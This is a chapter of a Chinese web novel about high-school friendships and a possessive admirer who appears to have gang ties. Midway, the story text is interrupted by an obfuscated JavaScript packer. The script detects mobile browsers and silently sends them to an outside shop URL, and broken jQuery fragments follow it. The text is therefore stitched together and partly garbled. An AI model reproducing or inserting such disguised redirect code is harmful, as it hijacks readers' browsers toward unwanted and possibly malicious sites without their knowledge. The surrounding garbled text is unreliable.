裴庭和毋同一直在褚之南身边吵吵闹闹的,褚之南的生活倒也没那么枯燥了。
冬去春来,很快就到了高一下学期开学的日子。
开学典礼上,安城胤作为优秀学生代表,在一片持久不息的喝彩声中上台演讲。
褚之南在台下聚精会神地看着他,心底油然而生一股钦佩,无限春光里,还是安城胤最耀眼夺目。
他自信沉着,在全校师生面前从容有度地进行着演讲,这般坦然自如,让褚之南不免有些神往。
遥记得很久以前,她也是个自信满满的女孩,很小的时候她就总是在各种舞台上歌唱、舞蹈,即便台下坐着数千名观众,她也毫不怯场。
然而,她还记得,半年前,她作为新生代表上台演讲,站在和安城胤同样的位置上,望着台下乌泱泱的人头,她恐慌到三页纸的稿子只念了几行就跑下了台。
人们投过来的目光,让她害怕,她总觉得其中带着质疑、戏谑、愤怒和嘲笑。
安城胤下台后,陆续还有其他年级的人上台演讲,直到最后教导主任上台做了一番总结发言。
发言完毕后,大家以为就要散场了,却没想到教导主任忽然话锋一转,指着十四班的队列,吼了一句:
“高一十四班的毋同来了没?”
毋同和裴庭正在十四班的队列后打闹,大家的目光全都汇聚到她身上时,她还在使劲揪着裴庭的耳朵。
大喇叭继续扩散着教导主任不那么标准的普通话:
“之前通知你上台反思你忘了吗?现在就给我上来!!!”
毋同暂时放过了裴庭,甩着衣袖大摇大摆地走上了主席台。
教导主任恨铁不成钢地瞪了她一眼,然后退到一侧,把主席台交给了她。
毋同看了眼底下一脸看笑话的人,扭头问教导主任:“叫我来说什么啊?”
教导主任压着嗓子,气得快要吐血,“你上学期犯了那么多错,不是叫你反思检讨吗?你没做准备?”
毋同咂舌,随意拍了拍话筒,轻咳两声,“那个,之前确实给学校惹了不少麻烦,不好意思啊!”
教导主任听了这话后,稍微安了安心,虽然她话说的有些糙,但是起码态度在这,可没想到她的下一句话就惹得全场炸锅。
毋同把手揣进兜里,昂头挺胸,一脸正气凛然。
“新的学期,大家放心,我是绝对不会改的。”
“顺便,请大家以我为荣。”
裴庭笑得前仰后合,在台下带头起哄,不停给她鼓掌吹口哨,还朝她比了个“六”的手势。
“希望大家遇到麻烦可以继续放心找我,我依旧会是各位女生最强的保护伞……”
毋同刚打开话匣子,还没说上几句,就被教导主任带人拖了下去。
台下一片起哄的,激情澎湃地议论着毋同,有感叹她很帅的,也有和她打过架看她不爽的。
褚之南早已知道她是什么性格的人,见她在台上这么嚣张时一点都不意外。
她反而有些佩服,毋同真的是个随心所欲想什么就说什么的女孩。
安城胤站在一班的队列中,一脸阴沉地看着对毋同面露浅笑的褚之南。
开学典礼因为毋同这个变数结束得仓促又滑稽,毋同彻底成了学校的风云人物,走哪儿都有讨论她的人。
裴庭已经和班上人混得稀烂,一边走路一边和毋同那伙人勾肩搭背。
毋同看见他伸过来的手就嫌弃,翻着白眼拧着他的手腕,“黄毛怪你离我远点!一天天的烦死了!”
裴庭假装龇牙咧嘴地收回手,委屈巴巴地说:“怎么了?出名了就不要我这兄弟了?”
“谁把你当兄弟了?”
裴庭嘴角崩直,也冲她翻了个白眼,“爱要不要。”
“你当我仆人还差不多。”毋同打量着他,语气十分诚恳。
“你……”
两人又开始闹起来了,身边人已见怪不怪。
裴庭因为她这句话气得一节课没有理她。
课间的时候,他看毋同别着个耳机一步一跳地跑出教室,终于忍不住拉住她,“你去哪儿啊?”
“找南南呗,干嘛,想拦你爷爷啊?”
裴庭嘴角一抽,“果然。”
这两个人关系是越来越好了,她动不动就去找褚之南。
他松开她,摆摆手,“去吧去吧。”
忽然他猛地想到了什么,又急着吼了句:“不行,不能去!”
可看向门外时,早已不见毋同的身影。
毋同的耳机里播放着动听的音乐,一路欢快地走上五楼,到了一班门口后,她站在门槛上,帅气地单手拍了拍班门,然后朝褚之南眨了下眼睛。
褚之南小跑着出去,刚打算找她说话的安城胤,差点拧断手中的笔。
褚之南一过来,毋同就热情地揽住她。
她把耳机摘下,戴到褚之南耳朵上,“这是我刚发现的宝藏歌手!这歌唱得可太好了!”
“有种在草原上纵马飞驰的恣意潇洒。”褚之南听了两句后感觉身心都放松了下来。
“说得真好,要不还是你有文化!”这话简直说到了毋同的心坎坎上,她对着褚之南狂竖大拇指。
两个女生靠在围栏上分享音乐,时不时贴耳说着悄悄话,互相靠得很近。
又一首歌在耳机里播放完毕,褚之南刚要继续和毋同分享感受,就感觉自己的半边肩膀被一只大手摁住了,然后她整个人都被一股力拽开。
她懵圈了,直到看到安城胤插在了她和毋同中间。
他比毋同还要高上大半个头,高大的体型把毋同挡得严严实实的。
安城胤侧着身子,面对着褚之南,语气有些酸溜溜的,“说什么呢?这么开心?”
“喂,你谁啊?挡着我干嘛?”
毋同当场就不乐意了,拍了拍安城胤的肩,声调拔得很高,一点都没有和褚之南说话时的温顺模样。
“他叫安城胤,是我的朋友。”褚之南感觉毋同要炸毛了,挤到她身边解释着。
安城胤深邃的脸上没有任何表情,看不出喜怒哀乐。
“好吧。”毋同打量着安城胤,见他穿着整齐的校服,感觉是和褚之南一样的乖学生。
不过她还是感觉这人有些怪怪的,看她的眼神似乎有些不太友善。
褚之南看毋同的表情和悦了些,拉着她的手,给安城胤介绍她,“她是我的好朋友,她叫毋同,她人非常好的!”
她很开心,还有点自豪和雀跃,这可是她第一次向安城胤介绍她的朋友。
“你好你好。”虽然勉强,但毋同还是大大咧咧地朝安城胤伸出了一只手。
褚之南的眼神很兴奋,期待着安城胤和毋同握手,可是等了好几秒都不见安城胤有所动作。
她和毋同面面相觑,她以为安城胤在神游,还低声唤了句他的名字。
尴尬之际,一双小肉手啪嗒握紧了毋同的手。
“你好你好!”
“……”毋同脸都黑了,一掌拍到裴庭的“猪蹄”上。
裴庭笑嘻嘻地缩回手,强装淡定,哈着腰站在安城胤身旁。
安城胤扭头,朝裴庭露出了一个标准的死亡微笑。
裴庭呼吸都紧了,又暗戳戳往褚之南身边挪了一步。
毋同真不知道裴庭又是从哪儿冒出来的,忍不住吐槽:“还真是哪儿都有你啊!你是不是天天跟踪我们啊?”
裴庭看了眼安城胤,心想,这可是你交代我的任务。
安城胤果然接过了话,只不过他和裴庭的重点完全不一样,他冷笑道:“你们?你和褚之南很熟吗?”
“当然了,我们俩天下第一好!我……”毋同话还没说完,就被裴庭一把捂住了嘴。
裴庭急着把她拖走,“快要上课了,那个……我们先走了。”
褚之南看着这两人,笑着叹了口气,“他们俩总是这样。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159823|138683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“哦,他们俩总是这样。”安城胤的脸已经黑得不成样子,语气里都带着点阴阳怪气。
“对啊,”褚之南双手搭在围栏上,察觉到他语气里的怪异,侧目问他,“你怎么了?”
“我怎么了?我怎么不知道你和别人天下第一好了?”安城胤这话多少有些咬牙切齿。
褚之南总觉得他只是闹孩子气,被他这突如其来的话逗笑了,“嗯?可我和她都是女生啊?”
“不要和她走太近。”
“为什么?她人真的挺好的。”
“可我不是你最好的朋友吗?你和她天下第一好?我算什么?”安城胤脸色阴郁,他此刻占有欲爆棚,真想把褚之南眼里的其他人全部铲除掉,让她每时每刻只看得到他一个人。
褚之南没懂他,以为他只是吃友情的醋。
看着他那炙热的双眸,她微微颔首,有些局促,干巴解释着:“你放心,我和她玩根本不会影响到我们的友谊啊。”
“如果我没记错的话,扰乱开学典礼的人应该就是她吧。”
安城胤难得没被她的话带偏,依旧保持着自己的态度,“她这种人,一看就不是什么好学生,你和她交往,会被带坏的。”
听了这番话后,褚之南猛地抬头。
她发现安城胤好像真的对毋同有意见,忽然有些手足无措,“可是……也不能仅凭穿衣打扮或者学习成绩就否定一个人吧?”
“曦曦,我并不是想干涉你的社交,但请你相信我的判断,你和她不适合做朋友。”
“我相信褚奶奶看见她,也不会同意你和她交朋友的。”
他居然把她奶奶搬出来了。
褚之南的语气变得严肃了起来,“城胤,我觉得你还是没有了解她,其实她不是外表看起来的那样……”
“不必多说,总而言之,我不希望你和她私交过甚。”安城胤态度强硬,率先打断了她的话。
褚之南的话口完全被他堵住了,她有些失落,因为自己选择的朋友没有得到安城胤的认可。
上课铃响后,她望着前桌空荡荡的座位,有些惆怅。
他们今天吵的好像有点严重,他不会是被她气走的吧?
*
“表哥你放心,她们俩关系一点都不好,压根不熟~”
安城胤一句一句念着裴庭曾经给他发的消息,语气十分冷冽。
他把手机摔到裴庭身上,“嗯?都天下第一好了,这就是你口中的不熟?”
“哥,你听我解释。”裴庭委屈巴巴地抱着安城胤的大腿,“我也没想到她们俩能玩得来啊……”
“所以上学期在学校你都干什么去了?还有寒假,也总看不到你的身影?”
“我……”
“见到一个女人就被迷晕了是吧?”安城胤托着裴庭消瘦的下巴,狠戾地威胁道:
“你再误我的事,信不信我把你阉了?!”
“哥,这可不行啊,我裴家不能无后啊。”
裴庭忽觉胯下生风,吓得快哭了,不停嚎叫着:“哥!我的亲哥!我真没看上她啊,就那个男人婆,我讨厌她还来不及呢!哥,你信我啊!!!我品味没那么差的!”
“给我起开。”安城胤甩开了他,“你最好不要再骗我了,再问你一遍,那个毋同知不知道我们的身份?”
裴庭信誓旦旦地承诺:“她真不知道,这个我发誓,我要是骗你我就断子绝孙!”
“她压根没插手符爷的势力,符爷老来得女,对她很是溺爱,根本不让她沾手道上的事,还把她藏着掖着就怕有人伤害她。所以我们一直也没有见过符爷这个宝贝女儿。”
“她对符爷干的事也不是很清楚,至于她那些手下,都是她的一些好兄弟。你想想,她要是和符爷和我们有牵扯,又怎么会被欺负成那样?符爷又怎么会不知道她的动静?”
根据安城胤对裴庭的了解,他知道裴庭这会儿说的是真话,口头上也就松了松,“行,继续看着她们。”